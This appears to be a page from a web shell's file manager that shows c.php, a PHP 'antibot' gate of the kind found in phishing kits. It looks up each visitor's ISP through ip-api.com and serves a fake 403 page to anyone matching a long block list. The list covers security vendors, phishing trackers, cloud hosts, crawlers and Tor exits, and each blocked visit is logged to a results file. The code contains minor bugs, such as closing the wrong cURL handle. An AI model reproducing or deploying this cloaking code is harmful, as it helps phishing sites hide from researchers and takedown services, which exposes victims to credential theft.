B4BY.588
Home
Terminal
Upload
information
Create File
Create Folder
About
Tools
:
/
disk1
/
worms
/
pasterza
/
2023jun18
/
*
/
b
/
Filename :
c.php
back
Copy
<?php $ipbuatcheck = $_SERVER['REMOTE_ADDR']; function tulis($nama, $isi) { $click = fopen("$nama","a"); fwrite($click,"$isi"."\n"); fclose($click); } $curl_check = curl_init(); curl_setopt_array($curl_check, array( CURLOPT_URL => "http://ip-api.com/json/$ipbuatcheck", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "GET", CURLOPT_HTTPHEADER => array( 'Content-Type: application/json', 'Accept: application/json', ), )); $respon = curl_exec($curl_check); $error = curl_error($curl_check); curl_close($ch); if ($error) { echo "cURL Error #:" . $error; } $detects = json_decode($respon); $isp = $detects->isp; $negara = $detects->country; $hostname = $isp; $time = date('H:i dS F'); $blocked_words = array( "above", "level3", "level", "involta", "SOLUTIONPRO-NET", "SOLUTION", "SolutionPro", "SPRO-NET-206-80-96", "SPRO-NET-207-70-0", "SPRO-NET-209-19-128", "LVLT-STATIC-4-14-16", "americanexpress", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "paypal", "bot", "above", "DigitalOcean", "TYO VULTR", "Amazon.com, Inc.", "Amol Kotkar trading as A K Digital Media", "Telecoms-Net deaggregate", "Proper Support LLP", "ColoUp", "Google LLC", "Fastweb Networks", "Omskie kabelnye seti Ltd", "IQ Networks", "Kaspersky Lab ZAO", "TDC A/S", "airtel.in", "LeapSwitch Networks Pvt Ltd", "Amazon Technologies Inc.", "McAfee Germany GmbH", "Hetzner Online GmbH", "LINE Corporation", "Facebook, Inc.", "vnnic", "sancharnet", "QuadraNet", "algerietelecom", "British Telecommunications PLC", "UK-PRIVAX", "chinanet", "DataCamp Limited", "cnc-noc", "zvi", "ptcl", "adityabirla", "Research Organization of Information and Systems, National Institute of Informa", "Hosting", "Panama Hosting Technologies", "Server Mania Inc", "Online S.A.S.", "B2 Net Solutions Inc.", "Afrihost (Pty) Ltd", "Telefonica Del Peru", "HIVELOCITY", "DigitalOcean, LLC", "google", "Digital Energy Technologies Limited", "FreeBit Co., Ltd.", "PlusNet plc.", "Internet Multifeed CO.", "M247", "Informacines sistemos ir technologijos", "Internap Network Services Corporation", "Global Layer B.V.", "WENZHOU, ZHEJIANG Province, P.R.China.", "ARTERIA Networks Corporation", "TELUS Communications Inc", "Energia Communications, Inc.", "Wire and Wireless Co., Ltd.", "Frontier Communications Solutions", "NFOrce Entertainment BV", "TalkTalk", "BandCon", "Energia Communications", "Cloudvpn Inc.", "Sunrise Communications AG", "TYO VULTR", "Wintek Corporation", "Sterpu Victor Emanuel PFA", "Server Mania Inc", "ColoUp", "Forcepoint Cloud Ltd", "Virgin Media", "NForce Entertainment B.V.", "Emerald Onion", "NHN", "Total Server Solutions, LLC", "Orange Polska Spolka Akcyjna", "Hosting purposes in Netherlands", "Commtouch Inc.", "Private Layer INC", "QuadraNet Enterprises LLC", "Petersburg Internet Network ltd.", "ScaleUp Technologies GmbH \u0026 Co. KG", "Webroot Software", "OVH SAS", "Zenlayer Inc", "Linode, LLC", "SingleHop LLC", "Hosting purposes in Netherlands", "Hurricane Electric", "Microsoft Corporation", "Palo Alto Networks", "Commtouch Inc.", "CachedNet", "UK Dedicated Servers Limited", "docomo", "Microsoft Corporation", "mediapartners", "samsung-sgh-e250", "softlayer", "amazonaws", "cyveillance", "crawler", "gsa-crawler", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver", "jetbrains", "spam", "Internet Multifeed CO.", "windows 95", "windows 98", "acunetix", "netsparker", "007ac9", "008", "Feedfetcher", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "EBAY", "CL0NA", "jabber", "ebay", "arabot", "hotmail!", "DataCamp Limited", "ConnorSmith", "Emerald Onion", "ONLINE", "Microsoft Azure Cloud (westus2)", "Microsoft Azure Cloud (eastus)", "Digital Energy Technologies Limited", "Hurricane Electric LLC", "CariNet, Inc.", "IP Volume inc", "Online SAS", "SoftLayer", "Hathway IP over Cable Internet Access", "Level 3 Communications, Inc.", "HERN Labs AB", "Bell Canada", "Tata Communications Limited", "EPM Telecomunicaciones S.A. E.S.P", "BT Public Internet Service", "Datacamp Limited", "LeaseWeb USA, Inc. Pheonix", "Microsoft Azure", "Microsoft", "ConnorSmith", "DigitalOcean, LLC", "msn!", "baidu", "outlook!", "outlook", "msn", "NTT America", "M247 Ltd", "SoftLayer Technologies Inc.", "duckduckbot", "Altushost Inc", "hotmail", "go-http-client", "go-http-client/1.1", "trident", 'Peak 10', "M247 Ltd", 'Quasi Networks LTD', 'SC Rusnano', 'GoDaddy.com, LLC', 'Server Plan S.r.l.', 'Linode', 'Blazing SEO', 'Lixux OU', 'Inter Connects Inc', 'Flokinet Ltd', 'LukMAN Multimedia Sp. z o.o', 'PIPEX-BLOCK1', 'IPVanish', 'LinkGrid LLC', 'Snab-Inform Private Enterprise', 'Cisco Systems', 'Network and Information Technoresulty Limited', 'London Wires Ltd.', 'Tehnoresultii Budushego LLC', 'Eonix Corporation', 'hosttech GmbH', 'Wowrack.com', 'SunGard Availability Services LP', 'Internap Network Services Corporation', 'Palo Alto Networks', 'PlusNet Technoresulties Ltd', 'Scaleway', 'Facebook', 'Host1Plus', 'XO Communications', 'Nobis Technoresulty Group', 'ExpressVPN', 'DME Hosting LLC', 'Prescient Software', 'Sungard Network Solutions', 'OVH SAS', 'Iomart Hosting Ltd', 'Hosting Solution', 'Barracuda Networks', 'Sungard Network Solutions', 'Solar VPS', 'PHPNET Hosting Services', 'DigitalOcean', 'Level 3 Communications', 'softlayer', 'Chelyabinsk-Signal LLC', 'SoftLayer Technoresulties', 'Complete Internet Access', 'london-tor.mooo.com', 'amazonaws', 'cyveillance', 'phishtank', 'tor.piratenpartei-nrw.de', 'cpanel66.proisp.no', 'tor-node.com', 'dreamhost', 'Involta', 'exit0.liskov.tor-relays.net', 'tor.tocici.com', 'netpilot', 'calyxinstitute', 'tor-exit', 'msnbot', 'p3pwgdsn', 'netcraft', 'University of Virginia', 'trendmicro', 'ebay', 'paypal', 'torservers', 'comodo', 'EGIHosting', 'ebbs.healingpathsolutions.com', 'healingpathsolutions.com', 'Solution Pro', 'Zayo Bandwidth', 'spider.clicktargetdevelopment.com', 'clicktargetdevelopment.com', 'static.spro.net', 'Digital Ocean', 'Internap Network Services Corporation', 'Blue Coat Systems', 'GANDI SAS', 'roamsite.com', 'PIPEX-BLOCK1', 'ColoUp', 'Westnet', 'The University of Tokyo', 'University', 'University of', 'QuadraNet', 'exit-01a.noisetor.net', 'noisetor.net', 'noisetor', 'vultr.com', 'Zscaler', 'Choopa', 'RedSwitches Pty', 'Quintex Alliance Consulting', 'www16.mailshell.com', 'this.is.a.tor.exit-node.net', 'this.is.a.tor.node.xmission.com', 'colocrossing.com', 'DedFiberCo', 'crawl', 'sucuri.net', 'crawler', 'proxy', 'enom', 'cloudflare', 'yahoo', 'trustwave', 'rima-tde.net', 'tfbnw.net', 'pacbell.net', 'tpnet.pl', 'ovh.net', 'centralnic', 'badware', 'phishing', 'antivirus', 'SiteAdvisor', 'McAfee', 'Bitdefender', 'avirasoft', 'phishtank.com', 'googleusercontent', 'OVH SAS', 'Yahoo', 'Yahoo! Inc.', 'Google', 'Google Inc.', 'GoDaddy', 'Amazon Technoresulties Inc.', 'Amazon', 'Top Level Hosting SRL', 'Twitter', 'Microsoft', 'Microsoft Corporation', 'OVH', 'VPSmalaysia.com.my', 'Madgenius.com', 'Barracuda Networks Inc.', 'Barracuda', 'SecuredConnectivity.net', 'Digital Domain', 'Hetzner Online', 'Akamai', 'SoftLayer', 'SURFnet', 'Creative Thought Inc.', 'Fastly', 'Return Path Inc.', 'WhatsApp', 'Instagram', 'Schulte Consulting LLC', 'Universidade Federal do Rio de Janeiro', 'Sectoor', 'Bitfolk', 'DIR A/S', 'Team Technoresulties LLC', 'Mainloop', 'Junk Email Filter Inc.', 'Art Matrix - Lightlink Inc.', 'Redpill Linpro AS', 'CloudFlare', 'ESET spol. s r.o.', 'AVAST Software s.r.o.', 'Dosarrest', 'Apple Inc.', 'Symantec', 'Mozilla', 'Netprotect SRL', 'Host Europe GmbH', 'Host Sailor Ltd.', 'PSINet Inc.', 'Daniel James Austin', 'RamNode', 'Hostalia', 'Xs4all Internet BV', 'Inktomi Corporation', 'Eircom Customer Assignment', '9New Network Inc', 'Sony', 'Private IP Address LAN', 'Computer Problem Solving', 'Fortinet', 'Avira', 'Rackspace', 'Baidu', 'Comodo', 'Incapsula Inc', 'Orange Polska Spolka Akcyjna', 'Infosphere', 'Private Customer', 'SurfControl', 'University of Newcastle upon Tyne', 'Total Server Solutions', 'LukMAN', 'eSecureData', 'Hosting', 'VI Na Host Co. Ltd', 'B2 Net Solutions', 'Master Internet', 'Global Perfomance', 'Fireeye', 'AntiVirus', 'Security', 'Intersoft Internet', 'Voxility', 'Linode', 'Internet-Pro', 'Trustwave Holdings Inc', 'Online SAS', 'Versaweb', 'Liquid Web', 'A100 ROW', 'Apexis AG', 'Apexis', 'resulticWeb', 'Virtual1 Limited', 'VNET a.s.', 'Static IP Assignment', 'TerraTransit AG', 'Merit Network', 'PathsConnect', 'Long Thrive', 'LG DACOM', 'Secure Internet', 'Kaspersky', 'UK Dedicated Servers Limited', 'Customer Network', 'Flokinet', 'Simpli Networks LLC', 'Psychz', 'PrivateSystems Networks', 'ScanSafe Services', 'CachedNet', 'CloudVPN', 'Spark New Zealand Trading Ltd', 'Whitelabel IT Solutions Corp', 'Hostwinds', 'Hosteros LLC', 'HostUS', 'Host', 'ClientID', 'Server', 'Oracle', 'Fortinet', 'Unus Inc.', 'Public facing services', 'Virtual Employee Pvt Ltd', 'Dataline Ltd', 'Teksavvy Solutions Inc.', 'UPC Romania Bucuresti', 'TalkTalk Communications Limited', 'British Telecommunications PLC', 'Global Data Networks LLC', 'Quintex Alliance Consulting', 'Online S.A.S.', 'Content Delivery Network Ltd', 'Nobis Technoresulty Group LLC', 'Parrukatu', 'JSC ER-Telecom Holding', 'ChinaNet Fujian Province Network', 'QualityNetwork', 'Vist On-Line Ltd', 'The Calyx Institute', 'Internet Customers', 'OJSC Oao Tattelecom', 'Petersburg Internet Network Ltd.', 'Psychz Networks', 'Udasha', 'Onavo Mobile Ltd', 'Cubenode System SL', 'OVH Hosting Inc.', 'NForce Entertainment B.V.', 'DigitalOcean LLC', 'Glenayre Electronics Inc.', 'British Telecommunications PLC', 'Iomart Hosting Limited', 'Digital Energy Technoresulties Limited', 'Private Customer', 'Cisco Systems Inc.', 'Vultr Holdings LLC', 'Amazon.com Inc.', 'Web Hosting Solutions', 'Time Warner Cable Internet LLC', 'Internet Security - TC', 'Vertical Telecoms Broadband Networks and Internet Provider', 'Ventelo Wholesale', 'MYX Group LLC', 'France Telecom S.A.', 'Online S.A.S.', 'Nine Internet Solutions AG', 'Microsoft Azure', 'Choopa, LLC', 'Amazon', 'HighWinds Network', 'Amazon.com', 'Bell Canada', 'Digital Ocean', 'M247 LTD Frankfurt Infrastructure', 'Palo Alto Networks', 'Spectrum', 'ImOn Communications, LLC', 'Wintek Corporation', 'ServerMania', 'Claro Dominican Republic', '013 NetVision', 'Amazon.com', 'Digital Ocean', 'TalkTalk', 'HostDime.com', 'AVAST Software s.r.o.', 'Host1Plus Cloud Servers', 'Amazon Data Services NoVa', 'Google Cloud', 'M-net', 'Digiweb ltd', 'Prescient Software', 'Eir Broadband', 'Solution Pro', 'Bell Canada', 'Linode', 'DigitalOcean', 'Plusnet', 'GigeNET', 'ZenLayer', 'NFOrce Entertainment B.V.', 'NewMedia Express', 'Telegram Messenger Network', 'IQ PL Sp. z o.o.', 'Datacamp Limited', 'Tahoe Internet Exchange (TahoeIX)', 'ITCOM Shpk', 'HEG US'); foreach ($blocked_words as $word) { if (substr_count($hostname, $word)) { tulis("result/total_bot.txt","$ip (BLOCKED ISP)"); header('HTTP/1.0 403 Forbidden'); die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>'); exit(); } }